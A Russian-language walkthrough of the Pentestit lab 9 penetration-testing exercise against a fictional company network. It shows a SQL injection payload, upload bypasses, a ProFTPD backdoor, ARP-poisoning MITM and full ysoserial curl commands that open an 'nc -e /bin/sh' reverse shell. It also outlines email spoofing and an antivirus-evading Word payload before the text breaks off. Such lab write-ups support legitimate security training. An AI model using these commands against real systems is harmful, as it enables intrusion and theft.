Пентест-лаборатория Pentestit — полное прохождение
Компания Pentestit 20-го мая запустила новую, уже девятую лабораторию для проверки навыков практического тестирования на проникновение.
Лаборатория представляет собой корпоративную сеть, очень похожую на сеть настоящей организации. Благодаря лабораториям Pentestit можно всегда быть в курсе последних уязвимостей и попробовать себя в качестве настоящего пентестера, параллельно обучаясь у профессионалов — тех, кто каждый день занимается тестированием на проникновение в реальных сетях.
К 1-му июня лаборатория была пройдена — все 13 машин и 14 токенов были взяты. Теперь подошло время описать процесс прохождения лаборатории в полном объеме для всех, кто еще не успел пройти лабораторию, кто хотел бы узнать больше об актуальных уязвимостях, или глубже окунуться в мир тестирования на проникновение.
Сразу хочу отметить, что процесс прохождения лаборатории получился довольно трудоемким, а его описание — длинным, но, надеюсь, интересным. Начнем!
Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные благодаря информации из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.
Подключение к лаборатории
Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании CyBear32C.
Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.
Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь — самое время.
После регистрации и подключения мы видим следующую схему сети: 
VPN-подключение остается за кадром, и после него мы получаем доступ к единственному внешнему IP компании CyBear32C — 192.168.101.8, который в реальной жизни был бы шлюзом в интернет. Начнем, как обычно, с enumeration и, в частности, со сканирования портов, чтобы определить какие сервисы из внутренних подсетей доступны снаружи.
Начнем с быстрого сканирования портов.
Как видим, нам доступен целый набор сервисов с разных внутренних машин (см. схему сети), включая, вероятнее всего, сервер mainsite (порт 80), сервер mail (25, 8100), ssh (порт 22) и другие. Кроме того, есть еще https ресурс и прокси сервер.
Начнем с того, чтобы зайти по адресу 192.168.101.8:
Нас автоматически редиректит на www.cybear32c.lab, посмотрим на это внимательнее:
Нам приходит заголовок Location: http://cybear32c.lab — виртуальный хост, по которому собственно и будет доступен сайт компании.
Добавляем нужный домен в /etc/hosts и пробуем еще раз:
Отлично, сайт поднялся, и можно его начать изучать. Попробуем понять, что это такое. Перед тем, как начать изучать сайт вручную, можно запустить утилиту whatweb, а затем dirb, которая поможет определить, какие есть поддиректории (можно воспользоваться и другими сканерами, например nikto):
Видим, что коды ответов на все запросы равны 403 — наверняка сайт защищен WAF-ом. Так как в браузере все работает, пробуем подставить User Agent и находим несколько интересных страниц:
Параллельно смотрим на сайт, видим, что это — Wordpress, защищенный WAF-ом. Заход на страницу /admin переводит нас на закрытый wp-login.php.
Для Wordpress сайтов есть великолепная утилита wpscan, которая позволяет проверить их на наличие плагинов с уязвимостями. Пробуем для начала посмотреть общую информацию по сайту, подставив нужный user agent. Он тут же находит несколько проблем, в том числе и уязвимый к SQL injection плагин wp-symposium v15.1.
Теперь пробуем проэксплуатировать каждую из приведенных уязвимостей с помощью эксплоитов по ссылкам. К сожалению, срабатывает WAF, и запросы с пэйлоадами на SQL не проходят. Попробуем его обойти…
Обход WAF
Часто многие Web Application Firewalls используют сигнатуры атак, которые можно обойти, немного изменив синтаксис: добавив конкатенацию или изменив регистр в запросе: vErSiOn вместо version, например. Обход WAF — отдельная серьезная тема, которой можно посвятить множество книг и статей.
К сожалению, эти варианты не сработали. Вспомним о прокси на порту 3128 и попробуем настроить браузер на работу через него.
Прокси запрашивает авторизацию:
Здесь нам пригодятся данные из графы Contact Us, которые мы видим на этом же сайте.
Создаем текстовый файл со словариком и двумя учетными записями: b.muncy и r.diaz и пробуем подобрать пароль:
Удачно! Теперь попробуем еще раз зайти на сайт через прокси и авторизоваться в нем. Результат в данном случае уже выглядит по-другому (сайт также доступен по внутреннему IP: 172.16.0.5, но другие внутренние сервисы все еще недоступны):
Сайт больше не говорит о неправомерных действиях — мы успешно обошли WAF.
Эксплуатация уязвимостей в Wordpress плагине
Теперь можно изучить сайт и потенциальные уязвимости внимательнее. Можно это делать и напрямую, но мне удобнее для этого использовать Burp Repeater. Для начала нужно настроить подключение через upstream proxy:
На вкладке User options добавляем Upstream Proxy Server, вводим полученные данные для нашего хоста, настраиваем браузер на Burp proxy и пробуем различные эксплоиты, найденные wpscan-ом.
Эта же возможность позволит использовать утилиты, которые не поддерживают авторизацию в прокси напрямую. Если такие понадобятся, достаточно будет указать в виде proxy 127.0.0.1:8080.
Попробовав несколько вариантов, видим, что срабатывает одна из SQL инъекций:
GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1
Получаем номер версии MySQL:
Результат: 5.5.49–0+deb8u1.
Дело за малым — осталось эксплуатировать эту уязвимость с помощью sqlmap:
Так как в данном случае инъекция происходит в имя колонки (а не в значение, как обычно), важно указать суффикс после payload (' -- ') для того, чтобы sqlmap сконцентрировался именно на этом типе инъекции. Если этого не сделать, sqlmap может ошибочно определить тип инъекции как blind, и в таком случае вытягивать данные будет очень затруднительно и долго.
Получаем доступные базы с использованием опции --dbs:
Затем таблицы (-D tl9_mainsite --tables):
И осталось только получить данные из таблицы wp_token с помощью команды:
Во время сканирования портов обнаружился, в том числе, и https ресурс на порту 443. Беглый анализ и утилита dirb ничего интересного не дали:
Ресурс доступен по https, при этом, видимо, в разработке и давно не обновлялся. Проверим нашумевшую в 2014-м уязвимость heartbleed:
Сервис уязвим! Для эксплуатации воспользуемся скриптом отсюда. После прочтения множества интересной информации и сотни попыток (главное не сдаваться раньше времени), находим кое-что интересное:
Кто-то зашел туда и скачал старый бэкап. Давайте и мы это сделаем:
Вот и токен, а вместе с ним несколько новых аккаунтов и хеши их паролей. Пробуем восстановить пароли из хешей (Apache apr1 хеш в hashcat идет под номером 1600):
Получаем уже известный из mainsite пароль b.muncy, а также остальные пароли других аккаунтов.
Очень полезно записывать все найденные учетные данные и пароли для того, чтобы в будущем иметь возможность проверять их, быстро изучая новую цель, т.к. пароли пользователей в корпоративной сети с высокой вероятностью будут повторяться от одного сервиса к другому.
Несмотря на предыдущее замечание, к сожалению, ни один из найденных паролей пока что не подошел к почте (которая обычно дает очень неплохие результаты в продвижении вглубь корпоративной сети). Не беда, попробуем подключиться к SSH на порту 22 и попробовать там. Пробуем и видим следующую картину:
Довольно необычная ситуация для подключения по SSH: видимо, используется собственный модуль для аутентификации. Кроме того, обращаем внимание на то, что система запрашивает сначала «The password», а потом еще и «Password».
Пробуем все найденные учетные данные в разных комбинациях — безрезультатно.
Так как ни почта, ни SSH не принесли желаемых результатов, а других доступных сервисов больше не остается, видимо, мы что-то упустили. SSH важен еще и тем, что мы получим доступ внутрь корпоративной сети и сможем продвинуться дальше, поэтому нам интересно сконцентрироваться на нем.
Пробуем еще раз и видим автора скрипта: Pam © krakenwaffe — не похоже на что-то стандартное.
Ищем это в Google и вскоре находим аккаунт разработчика krakenwaffe на Github, который к тому же работает в компании cybear32c — интересно!
Изучив contributions некого Девида, видим единственный файл: mypam.c, расположенный здесь: github.com/krakenwaffe/eyelog/blob/master/mypam.c. После беглого анализа кода становится понятно, что это именно тот модуль, в котором мы пытаемся авторизоваться, и который запрашивает у нас «The password».
Под рутом зайти не получится, смотрим, что дальше… Внимание привлекает следующий участок:
Видим, что введенный пароль проходит сравнение с daypass<день><час>. Пробуем подставить текущее значение, а именно «daypass80» на момент написания этой части документа:
Все равно не срабатывает. Тогда вспоминаем, как зовут нашего разработчика, который поделился с нами паролем через Github — David Nash. Пробуем зайти под d.nash:
Получилось! Мы зашли на SSH сервер. Посмотрим, что есть вокруг:
Помимо токена в папке .ssh также находим и приватный ключ для подключения к другим серверам (к каким — можно узнать, поработав с файлом known_hosts) — наверняка пригодится в дальнейшем!
Теперь мы получаем плацдарм для следующих атак, и перед нами открывается вся корпоративная сеть компании CyBear32C.
После взятия SSH можно выходить на все остальные компьютеры в сети. С какого начать? В первую очередь стоит просканировать все три подсети с помощью nmap, любезно предоставленного нам прямо на сервере SSH, и изучить доступные сервисы.
На данном этапе практически все внутренние ресурсы, за исключением Windows-машин и сервера dev, будут доступны для атаки — можно пробрасывать порты и пробовать.
Проброс портов
Для обеспечения удобного доступа к внутренней сети через вновь появившееся SSH подключение есть целое множество способов.
В первую очередь рекомендую изучить статью «Pivoting или проброс портов».
Кроме того полезно знать интересную возможность стандартного SSH клиента: проброс портов без перезапуска сессии и добавления параметров в командную строку.
Для этого достаточно нажать комбинацию клавиш Shift+~+C и перейти в командный режим работы:
После ввода нужной команды, мы получим доступ к 80-му порту сервера 192.168.0.6 (photo) через порт 8086 на 127.0.0.1:
Сервер фото встречает нас формой для загрузки файлов и ничего больше, наверняка в ней и есть уязвимость.
С точки зрения разработчика сделать upload файлов безопасным очень сложно — векторов атаки на него может быть очень много: это или неработающая валидация по расширению файла, его MIME-типу, или уязвимость в библиотеке, которая обрабатывает файл, или race condition, или любая из множества других проблем.
Для начала посмотрим, на чем написан сайт:
И заодно запустим dirb, чтобы посмотреть какие скрытые директории есть на веб-сервере.
Директория upload доступна прямо на сервере, попробуем загрузить безобидную картинку и убедимся, что файлы сохраняются именно в эту папку:
Так и есть, google.png доступен. Обращаем внимание, что сайт показывает размеры картинки, видимо есть какой-то анализ. Пробуем загрузить PHP файл:
Изменить MIME-тип и расширение не помогает:
Интересно, это дает нам сразу две подсказки: во-первых, файл, возможно, сначала загружается, а затем удаляется, и его можно успеть дернуть, и, во-вторых, мы еще раз убеждаемся, что проверка на то, что это картинка присутствует (видимо, с помощью getimagesize(), которую можно обмануть, добавив, например, GIF заголовок). Пробуем еще раз с таким файлом file.jpg:
Файл загрузился успешно и даже доступен:
Но, к сожалению, не выполняется. Пробуем загрузить этот файл с разными расширениями, раз php не срабатывает: .htaccess, .php5, .phtml и .pht — последний вариант работает! Он тоже выполняется:
Теперь нужно получить шелл. Для этого слушаем с помощью nc на сервере SSH, и обращаемся к файлу:
И удачно получаем коннект:
Прямо в папке upload можно найти токен в скрытой поддиректории:
Кстати, ради интереса можно изучить и исходники:
Видим, что файл сначала сохраняется в папку, а затем только проверяется, то есть кроме эксплуатированной нами уязвимости есть еще и race condition.
Кроме токена и этого кода на сервере ничего интересного не обнаруживаем и продолжаем дальше!
Просканировав с помощью nmap сервер 172.16.0.4, находим открытый 21-й порт (ftp) и 22-й порт (ssh). Естественно, вход с нашим ssh ключиком не срабатывает, поэтому сконцентрируемся на самом FTP.
ProFTPD 1.3.5 имеет известную уязвимость, связанную с копированием файлов без аутентификации, которую можно проэксплуатировать через веб-сервер — копируем в /var/www, например, /etc/passwd, и мы уже немного ближе к цели.
Проблема в том, что веб сервер на этой машине не запущен… Попробуем подключиться к ftp серверу:
Анонимный вход доступен, и в папке dist находим исходники сервера. Интересно, наверняка их выложили не просто так, попробуем их поизучать. Скачиваем и распаковываем архив proftpd-dfsg-1.3.5.tar.bz2 с помощью ftp-клиента (команды lcd и get) и пробуем поискать изменения в коде. Начнем с поиска подстроки CYBEAR, и тут же находим файл src/help.c:
Похожий backdoor был встроен в версию 1.3.3с во время атаки на ProFTPD.
Попробуем воспользоваться предоставленным бекдором!
Ну и в папке /home находим целый набор интересных файлов:
Кроме токена в папке «old» мы находим:
- новую учетную запись m.barry,
- тестовый скрипт в папке m.barry/upload/test_scripts,
- конфигурационный файл роутера cisco c паролями,
- файл trouble.cap с паролем m.barry и указанием на то, что сервер dev скачивает все питоновские скрипты из папки test_scripts c FTP и, возможно, запускает их.
К сожалению, просто так подложить файл в test_scripts нельзя — недостаточно прав, поэтому придется продвигаться дальше и искать другой способ атаки на dev сервер.
Попробуем воспользоваться найденной информацией и начнем с cisco — пароль у нас уже есть. Вспоминаем IP по схеме сети и пробуем зайти:
Сразу же получаем токен! Теперь попробуем сбрутить хеш для enable 3:
Находим пароль, пробуем его и получаем привилегированный режим:
Все готово. Конфигурационный файл роутера разрешает делать мониторинг трафика:
С помощью этих команд можно поизучать трафик, идущий через эту подсеть (а именно — portal).
Как оказалось, есть возможности пройти лабораторию разными способами, и лично мне мониторинг трафика не понадобился. Поэтому я предлагаю оставить эту часть на самостоятельную проработку и продвинуться дальше.
Продолжая изучать разные подсети, натыкаемся на сервер NAS:
Открытый порт 3260 намекает на возможность подключения к iscsi. Если вы следили за новостями в области ИБ, то наверняка слышали о взломе итальянской компании Hacking Team, которая в данном случае стала прообразом CyBear32c. В сети можно найти writeup о том, как происходила атака, из которого можно почерпнуть много интересного.
Начнем с проброса порта на локальную машину:
Устанавливаем iscsiadm и пробуем подключиться:
Пробуем подключиться, не получается.
Включаем debug mode и видим, что iscsiadm пытается подключиться к 192.168.0.3, которого в данном случае нет в нашей подсети.
Попробуем альтернативный вариант проброса портов и воспользуемся sshuttle. Так мы получим доступ к серверам по их настоящим IP адресам без необходимости пробрасывать каждый порт по отдельности. Подключаемся:
Удалось подключиться! Теперь изучим содержимое появившегося диска:
Теперь нужно подключить и этот vmdk:
Он начинается на диске по смещению 63×512 байт, а именно 32,256:
После этого Kali автоматически определяет присутствующий диск и предлагает посмотреть содержимое:
Есть! В поисках интересного находим пользователя token_nas_token, но в файловой системе напрямую ничего нет. Копируем базы реестра из WINDOWS\system32\config к себе и пробуем посмотреть сохраненные хеши паролей:
Чтобы долго не перебирать хеши локально, воспользуемся сервисом rainbowtables.it64.com. Можно сделать это и у себя, но с помощью сервиса будет быстрее.
Вносим существующие LM-хеши (первый хеш из дампа в каждой строке) и смотрим на результат. LM-хеширование приводит пароли к верхнему регистру, поэтому после получения результата нам нужно будет восстановить правильный регистр с помощью NTLM-хеша.
Все хеши и соответствующие им пароли найдены в базе. Сохраним их (в верхнем регистре) в отдельный файлик и воспользуемся john-ом c опцией -rules=NT, чтобы найти правильные пароли:
И получаем пароли c помощью опции -show:
Пароль от token_nas_token содержит токен к заданию! И мы получили новые учетные данные для d.rector. Продолжим!
Как уже обсуждалось выше, пароли, найденные в одном месте, могут подойти в другом. В данном случае, просканировав порты сервера terminal2, мы видим открытый RDP:
Попробуем подключиться, используя учетные данные d.rector из NAS:
Токен находится прямо на рабочем столе!
С получением доступа в локальную подсеть 192.168.3/24 у нас открываются новые возможности для атаки. Вспомним схему сети и заодно файл trouble.cap, найденный на FTP сервере:
Очевидно, dev сервер обращается к FTP, скачивает оттуда все *.py файлы из папки test_scripts, как видно в trouble.cap, и, вероятнее всего, выполняет их. Доступ в эту папку на FTP сервере можно получить только от root.
Теперь, когда в нашем распоряжении сервер terminal, на котором удобно расположен Intercepter-NG, мы можем легко организовать MITM атаку. Попробуем!
Включаем Intercepter-NG из папки C:\Intercepter-NG. Первым делом нужно просканировать локальную сеть. Нажимаем правой кнопкой на пустом месте в таблице, ставим на всякий случай побольше ARP Scan Timeout и запускаем Smart Scan.
Intercepter при этом рассылает ARP запросы в своей подсети, чтобы определить существующие в ней хосты, а затем пробует определить, какая на каждом из них установлена ОС.
Отлично, определились два хоста:
Stealth IP — это несуществующий IP адрес, который используется Intercepter-ом для осуществления MITM-атаки.
Так как клиент и сервер находятся в разных подсетях, они будут общаться друг с другом через шлюз; добавляем 3.3 в NAT, а 3.254 как шлюз.
Параллельно нужно создать папочку на ftp сервере, в которую будет заходить dev, вместо папки upload. В названии должно быть столько же символов, сколько и в «upload», так как Intercepter-NG может делать замену в трафике только для строк одинаковой длины.
В скрипт test.py, конечно, разместим полезную нагрузку — реверс шелл на 172.16.0.2 на порт 6666:
Настраиваем Intercepter:
Traffic changer будет заменять upload на .uploa и, соответственно, когда m.barry сделает CWD upload, он попадет в нашу директорию .uploa и оттуда уже скачает наш скрипт, который и создаст нам reverse shell.
Включаем слушающую часть на SSH:
И включаем Incercepter нажатием трех кнопок: сначала общий sniff-инг справа вверху, затем NAT и затем ARP poison.
Через минуту получаем шелл:
А заодно и токен сервера dev:
Теперь обратим свое внимание на сервер site-test. Как обычно в web задачах лаборатории, попробуем запустить whatweb и dirb, чтобы узнать, что есть на сервере.
Сайт написан на PHP фреймворке laravel, который активно поддерживается. Кроме того, включены детальные логи ошибок:
Отсюда часто можно выудить информацию о внутренних путях на сервере, которая потом может пригодиться, например, при SQL инъекции. Но в данном случае это нам не сильно помогает…
dirb быстро начинает находить следующие доступные URLs:
Безуспешно попробовав все учетные данные, которые уже были собраны за время прохождения лаборатории в админке, переключаемся на форму аплоада фотографии, тоже представленную на сайте, если по нему просто походить и нажать JOIN US:
Снова загрузка картинок, но теперь не удается найти, где эти картинки складываются (хотя папка /upload тоже через какое-то время обнаруживается утилитой dirb —, но файлы в ней не доступны по исходным именам).
Попробуем уязвимость в ImageMagick, которая получила название ImageTragick.
Конструируем файл для загрузки:
И включаем nc на порт 1234 на сервере SSH. Заполняем форму и загружаем файл oops.jpg c текстовым содержимым, показанным сверху.
Вот и коннект! В корневой папке (cd /) видим token.txt:
Попробуем изучить сервер portal. Начнем со сканирования портов.
Обнаружился порт 8080, зайдя на который мы, собственно, и увидим портал:
Пробуем разные пароли из тех, что были найдены ранее. Подходит, например, логин t.smith с его паролем. Пароли можно было переиспользовать уже два раза — на terminal2 и здесь.
Получаем страницу отпусков и новые учетные данные:
Пробуем зайти или подобрать пароль к логину a.petrov — безуспешно. Затем обращаем внимание на куки:
Выглядит как base64, декодируем:
Это Java объект, в котором хранится имя пользователя и хеш его пароля в виде md5. Пробуем «подсунуть» имя a.petrov — не срабатывает.
Раз объект приезжает на клиент и затем восстанавливается на сервере, попробуем копнуть в этом направлении.
Во время восстановления объекта из строки base64 в бинарный формат и затем в память (десериализации) есть недавно продемонстрированная возможность выполнения произвольного кода. Такая уязвимость была, например, в Jenkins. Для эксплуатации пробуем использовать утилиту ysoserial.
После прочтения инструкции становится понятно, что есть возможность выполнить произвольную команду на сервере, используя утилиту. Она генерирует Java-объект, который потом во время десериализации выполнит
нужную нам команду (а именно reverse shell, в нашем случае).
Пишем небольшую команду для удобной отправки содержимого, генерируемого ysoserial в виде base64-куки на bash:
curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' ‘http://192.168.1.2:8080/index.jsp'
Возникает ошибка при выполнении:
Находим эту же проблему прямо на гитхабе разработчика.
Она уже исправлена в репозитории, но еще не собрана в release. Клонируем новую версию с github, устанавливаем maven и собираем ее локально:
apt-get install maven
git clone https://github.com/frohoff/ysoserial.git
mvn compile package
Получаем нужный нам файл!
Обновляем команду на новый payload Commons-Collections5:
curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'
На сервере ssh как обычно запускаем netcat, который слушает на порту 1235, запускаем на выполнение и:
Долгожданный шелл. Находим token.txt в корневой папке:
И еще один токен поддался!
Поизучав немного портал, находим кое-что интересное в crontab:
Скрипт проверки почты! Посмотрим, что в нем.
Имя и пароль b.muncy в почту! Вот мы и подобрались вплотную к заданию mail.
В лаборатории используется сервер Roundcube, в котором было много уязвимостей, но в данной версии все известные уже исправлены.
Попробуем с другой стороны. Заходим в почту с паролем от b.muncy:
Почтовый ящик пустой. Но, так как на портале был робот, автоматически проверяющий почту, попробуем отослать сообщения другим аккаунтам, которые мы уже узнали.
Один из них — r.diaz — отвечает на письма! Пробуем отправить ему что-то еще.
И получаем ответ:
После общения с ботом становится понятно, что нужно применять social engineering. Пробуем отсылать боту разные файлы: PDF, Word-документы и так далее. И вот, на одну из таких отправок бот реагирует!
Если отправить в аттачменте Word-документ, он выдает токен и сообщение о том, что такого рода файлы можно открывать, только если они приходят от r.lampman-a. Попробуем это сделать!
На сервере terminal закрыт порт 3389 для rdp, а в оставшихся нет ничего интересного. Где, как ни там, спрятался r.diaz и открывает Word-документы!
Я сделал предположение, что на сервере terminal установлен Microsoft Security Essentials, как это было и на сервере terminal2, и локально установил Windows с таким же антивирусом, чтобы потестировать на месте прежде, чем отправлять документ.
Атака, в данном случае, получается многоступенчатая. Чтобы получить сессию на terminal, нам нужно:
- научиться отправлять письма r.diaz-у от r.lampman (его пароля к почте у нас нет),
- сформировать документ с reverse shell payload,
- обойти антивирус Microsoft Security Essentials,
- включить listener на своем компьютере на порту 443 (только 80 и 443 открыты изнутри сети).
Отправка писем
Попробуем написать скрипт, который будет автоматически отправлять письма r.diaz-у от имени r.lampman с использованием пароля b.muncy.
Для этого будем подставлять нужный адрес в поле FROM:
Здесь важно несколько вещей:
- заменить значение поле FROM на нужное,
- подставить правильный MIME-тип, чтобы было понятно, что отправляется именно Word-документ
- не забыть закодировать документ в base64, чтобы он не испортился при передаче,
- пробросить порт 587 с 172.16.0.1 на локальную машину:
Формируем payload
Теперь нужно создать Word-документ, который не определяется антивирусами как зараженный. После множества неудачных попыток (удобно тестировать в своей среде перед настоящей атакой), получилось выработать рабочий вариант.
Не будем весь payload сохранять с
